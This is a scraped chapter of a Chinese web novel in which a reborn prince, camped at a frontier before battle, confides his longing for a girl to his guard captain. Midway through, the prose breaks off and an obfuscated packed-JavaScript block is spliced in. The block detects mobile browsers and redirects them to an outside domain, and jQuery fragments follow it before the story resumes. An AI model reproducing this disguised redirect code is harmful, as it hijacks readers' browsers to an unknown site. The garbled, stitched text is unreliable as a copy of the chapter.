22. 重生

作品:《摸你一下怎么了!

    北邱边境,朔风怒号。


    边境严寒刺骨,尤其靠近北邱中心一带,持续攀升的高海拔让气温更低。狂风卷着漫天飞雪,在漆黑天幕上肆虐,如同厉鬼哀嚎。就算裹得再厚,那风也像刀子一般刮得人脸生疼。


    出了大晟边城西面,是连绵不绝的阴郁山脉。山脚下,北邱边境的那些军营已然连成一片。从数量上看,声势极为浩大。现是深夜,从山顶俯瞰,营帐里透出的微弱火光,像零星萤火虫散落在漆黑的夜色之中,这是这片死寂中唯一的暖意。


    寒冬飞雪,王兄派来埋伏在林中的士兵必撑不过十天。决战在即,只要这仗打赢,他就能直捣北邱王庭,与叔父里应外和。


    等事成了,开春就能回去了。


    隗聿卸下盔甲,解开身上染血的绷带。


    不知是谁泄露了他潜回北邱的消息。算了,不用想也知道,不是大晟那几个,就是他们一起干的。


    王兄派来取他项上人头的那个心腹,身高九尺,一把大刀挥舞得虎虎生风。刀刃砍中他右肩时,他的长剑也狠狠刺穿了对方喉咙。热血当头浇下,现在回想起来,似乎还能闻到那股腥臭味。


    幸好他反应快,侧身避开了要害,只是被刀尾划开了一道长两寸、深二厘的伤口。再慢半拍,整条胳膊就要没了。


    这一路上,类似的情形已经不知道发生过多少次。


    如今他身上大大小小的伤疤足有几十道,狰狞地爬满了原本光洁的肌肤,看着就吓人。隗聿借着油灯的光,仔细数了数,足足十五道新伤。他放下灯,眉头紧锁。


    帐帘突然被掀起,寒风灌入。护卫统领康封径直进来,似有军情要报。


    “主上,敌军先锋已溃退三十里!林子里埋伏的那伙子孬种还不敢出来呢。”康封抬眼一看,惊道:“您怎么在这数疤?”又笑骂,“真娘们!”


    这护卫统领康封出身将门世家,虽是庶出却格外刻苦,在军中稳扎稳打。除了还带着些少年心性,为人十分可靠。即使不跟隗聿,在北邱也能有一番作为。只是如今的北邱不似曾经,国君沉迷酒色,毫无征战之心,年轻将领难有出路。后来隗聿向叔父要人时,特意将他从北邱调来身边。


    相处日久,康封发现这位主子并非心狠手辣之人。年轻人很快打成一片,康封更被调任隗聿的近身护卫统领。共事数年,彼此知根知底,如今已然如兄弟般亲近。


    隗聿听到来人声音,头也不抬,边包扎伤口边道:“你懂什么,一身的疤,小姑娘肯定要不喜欢了。”


    “得,又是您那位韶姑娘。”康封拿起帐中热酒灌了一口,舒服地叹道,“整天听您念叨那韶姑娘,耳朵都要起茧子了!柳仲那帮暗探腿都跑细了!再这么下去,怕连韶姑娘一天上几回茅厕都得给您报上来!”


    “再说,她若是真心悦你,见这一身伤心疼还来不及,怎会嫌丑。”


    隗聿也倒了碗酒,闷闷道:“她现在定还怨我,若再变丑,就更不讨人喜欢了。”


    康封震惊:“主上,您当自己是象姑馆的小白脸呢?”


    “谁知道呢,或许她就喜欢我这张脸。”隗聿叹息。


    康封再次震惊:“你们好了这么久……她还不知道您身份?”


    “……质子算什么身份?嫌我不够丢人?还不如当小白脸呢。”


    “我……呸!”康封直翻白眼,看他还是丧着脸,拍拍他后背安慰:“等打赢这仗……主上您大大方方地说!我估计这仗打不久了,冬天雪大路难走,那边的粮草兵力都撑不住,再说你王兄那身子骨……快不行了。”


    转念一想这些隗聿都懂,又道:“您那韶姑娘年纪也没多大吧?还没到嫁人的年纪。大晟人那些婚嫁流程怎么说也得小半年。等开春您再以北邱国君的身份杀过去,还怕抱不得美人归?”


    隗聿摸着发闷的胸口,喃喃道:“可我总觉得有些不安……”


    他还在发愣,康封已经抄起长剑,用剑鞘重重敲了敲桌案:“主上!您这副模样,要是赢了,怎么当一国之君?可别学您那位王兄……”也就他敢这么说话。


    “不是我说……咱们堂堂七尺男儿,既上了战场就该专心打仗。至于什么儿女情长,等打了胜仗,享它就是!要是败了,想这些有屁用?”


    隗聿年少时就以俊美闻名,风姿出众。即便在敌国为质多年,在众人眼里,比起北邱那个沉迷酒色的国君,这位主子仍是鹤立鸡群、光彩夺目的人物!</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928404|175726||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    可现在,自家主上好容易要回去争天下了,脸上却总蒙着层愁云,也就挥剑时还能见着往日那股狠劲。


    康封又叹气::“不是我想啰嗦……”他望望天上孤月,“营里兄弟围坐篝火时,谁不想自家媳妇?可哭得最凶的那些,多半回不来……您知道为什么吗?因为他们心思不在这儿!上了战场,分心就是找死!”


    “您这几个月受的伤,比过去十几年都多。”康封戳戳自己心口,“刀剑不长眼,您王兄的人更不会手软。韶姑娘在大晟好着呢,等踏平北邱王宫……”他挤挤眼,“就算没了韶姑娘,北邱女子!三千佳丽!三宫六院还不是随您挑选!”


    隗聿转身不去看他,掏出怀里的玉坠子盯着瞧,一副油盐不进的样子,看得康封头疼。


    半晌,才听见他清朗的声音:“不管你们是为家族荣光还是被迫跟的我……我就想着,这仗打完,跟着我的弟兄们都能得个好前程。封官荫子,荣华富贵,你们只管好好过日子。”他顿了顿,“到时候,我也去找我的小傻子,再把她抢来北邱过好日子。”


    他郑重地把半块玉坠揣回怀里:“我绝不会死,就算只剩一口气,也要杀回大晟去。”


    当然,也不能断胳膊断腿。


    脸也不能伤着。


    康封看他像是听进去了,该报的军情也报了,便起身要走:“主上早点歇着吧,估摸着就这几天要开打了。我等还等着看您得偿所愿,顺便提着那几个老油条的脑袋给您助威呢!您把忍辱负重这么多年该拿的都拿回来,兄弟们也好跟着建功立业!”


    隗聿背对着他笑骂:“行了,跟个婆娘似的啰嗦。滚吧滚吧。”


    油灯熄灭,营帐陷入黑暗。


    隗聿在夜里睁开眼,又摸出那枚玉坠,凑到鼻尖轻嗅,仿佛还能闻到那若有若无的清冷香气。


    他把整张脸都埋进玉坠里。月光下,那张如雕如琢的脸上看不出情绪,只有眼角泛着水光。


    这王位他本不愿争,这仗他也不想打。可不争不抢,他又怎么护得住她?


    韶家灭门,韶女流放。


    他既然重活一世,便不想再像前世那般无能为力。


    小傻子……我好想你……